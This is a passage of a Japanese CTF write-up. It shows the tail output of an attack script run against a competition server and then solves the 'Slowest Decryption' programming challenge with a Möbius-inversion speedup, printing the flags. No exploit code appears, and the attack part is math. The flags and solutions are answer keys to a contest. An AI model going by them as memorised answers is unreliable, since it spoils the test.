[33554432, 33554432, 268435456, 4194304, 4194304, 33554432, 67108864, 67108864, 4194304, 4194304, 67108864, 33554432, 33554432, 33554432, 33554432, 268435456, 8388608, 4194304, 4194304, 67108864, 67108864, 268435456, 134217728, 67108864, 67108864, 67108864, 4194304, 4194304, 134217728, 8388608, 8388608, 4194304, 4194304, 33554432, 67108864, 67108864, 8388608, 8388608, 67108864, 134217728, 67108864, 67108864, 134217728, 67108864, 33554432, 33554432, 134217728, 134217728, 33554432, 33554432]
998
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2]
Nah?



[*] Closed connection to 35.221.81.216 port 65532

$ python2 attack.py
[+] Opening connection to 35.221.81.216 on port 65532: Done
73
[16777216, 16777216, 67108864, 33554432, 33554432, 33554432, 8388608, 8388608, 67108864, 67108864, 134217728, 4194304, 4194304, 134217728, 33554432, 33554432, 67108864, 67108864, 67108864, 67108864, 134217728, 33554432, 8388608, 8388608, 16777216, 16777216, 134217728, 67108864, 67108864, 67108864, 33554432, 33554432, 16777216, 16777216, 134217728, 134217728, 8388608, 8388608, 8388608, 8388608, 67108864, 268435456, 67108864, 67108864, 67108864, 67108864, 134217728, 16777216, 16777216, 67108864]
993
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
Correct! You are REAL hacker!

Here is a flag: TSGCTF{ichi_zero_zero_zero_zero_zero_zero..._Counting!!}

[*] Closed connection to 35.221.81.216 port 65532

TSGCTF{ichi_zero_zero_zero_zero_zero_zero..._Counting!!}

PPC

Slowest Decryption (medium)

CTFのジャンルPPCとは、Professional Programming and Codingで、要は競プロ。たいていは競プロとしては簡単だったり、実装が面倒なだけだったりするのだけど、これはガチ。

decrypt.py

from itertools import product
from functools import reduce
from math import gcd
import json

MOD = 69366296890289401502186466714324091327187023250181223675242511147337714372850256205482719088016822121023725770514726086328879208694006471882354415627744263559950687914692211431491359503896279403796581365981225023065749656346527652480289235008956593933928571457700779656030733229310882472880060831832351425517

def decrypt(c):
    N = len(c)
    ret = 0

    for P in product(range(N), repeat = N):
        ret += reduce(gcd, P) * sum(i * c[P[i]] for i in range(N))

    return ret % MOD

with open('encrypted.json') as f:
    encrypted = json.load(f)

flag = decrypt(encrypted)
print(flag.to_bytes((flag.bit_length() + 7) // 8, byteorder='big'))

Nは20,000で、product関数は0からN-1までのN個の組合わせ$N^N$個を生成するので、終わるわけがない。これを高速化する問題。

こういう問題は、GCDで分けて考えるのがセオリー。まずは最大公約数ではなく、公約数で考える。下記のコードのT1[g]が、公約数がgとなる組合わせの寄与（をgで割ったもの）。あるiについての寄与は他のiとは独立なので個別に求めて、nを約数がgになるN未満の整数の個数としてn**(N-1)を掛ければ良い。

公約数ごとの値T1[g]を求めたので、ここから最大公約数がgとなる組合わせの寄与T2[g]を求める。例えば、約数が3になるとき、最大公約数は3かもしれないし、6や9、12かもしれない。つまり、T1[3] = T2[3]+T2[6]+T2[9]+...。T1[3]から、T1[6]、T1[9]、T1[12]、…を引けば良いのだが、T1[6] = T2[6]+T2[12]+...なので、T2[12]は引きすぎてしまう。なので、T2[12]を改めて引くことはしない。T2[18]は、6のときも9のときも引かれて、引かれすぎなので12のときに足すようにして……というのを解決してくれるのがメビウス関数。

solve.py

import json

with open('encrypted.json') as f:
  E = json.load(f)

N = len(E)

P = [True]*N
P[0] = P[1] = False
for i in range(2, N):
  if P[i]:
    for j in range(i+i, N, i):
      P[j] = False

mu = [1]*N
for p in range(N):
  if P[p]:
    for i in range(p, N, p):
      mu[i] *= -1
    for i in range(p*p, N, p*p):
      mu[i] = 0

MOD = 69366296890289401502186466714324091327187023250181223675242511147337714372850256205482719088016822121023725770514726086328879208694006471882354415627744263559950687914692211431491359503896279403796581365981225023065749656346527652480289235008956593933928571457700779656030733229310882472880060831832351425517

T1 = [0]*N
for g in range(1, N):
  print(g)
  n = len(list(range(0, N, g)))
  x = pow(n, N-1, MOD)
  t = -sum(i*E[0] for i in range(N))
  for i in range(N):
    t += i*sum(E[j] for j in range(0, N, g))*x
  T1[g] += t

T2 = [0]*N
for g in range(1, N):
  for g2 in range(g, N, g):
    T2[g] += mu[g2//g]*T1[g2]
flag = sum(T2[g]*g for g in range(N))%MOD

print(flag.to_bytes((flag.bit_length() + 7) // 8, byteorder='big'))

公約数が0場合の扱いが特殊なので注意。6は3の倍数なので3のときにも出てくるが、0は3の倍数なのに3のときに出てこない、みたいな感じだろうか。この辺は机上では厳しい。N=6くらいなら問題のソースコードでも解けるので、それと値を突き合わせた。

数十分待てば答えが出てくる。

>py solve.py
1
2
 :
19998
19999
b'TSGCTF{GRE4T!_y0u_Found_n1c3_decription_Alg0r1thm_or_you_h4ve_aston1shing_Fa5t_c4lcul4t0r}'

ところで、「これ、問題を解くのは良いとして、どうやって答えが意味のあるの整数（フラグ）にするんだろうね？」と考えると、この計算には何か意味がありそうな気がするけど、それは分からなかった。

TSGCTF{GRE4T!_y0u_Found_n1c3_decription_Alg0r1thm_or_you_h4ve_aston1shing_Fa5t_c4lcul4t0r}

You get articles that match your needs
You can efficiently read back useful information
You can use dark theme

What you can do with signing up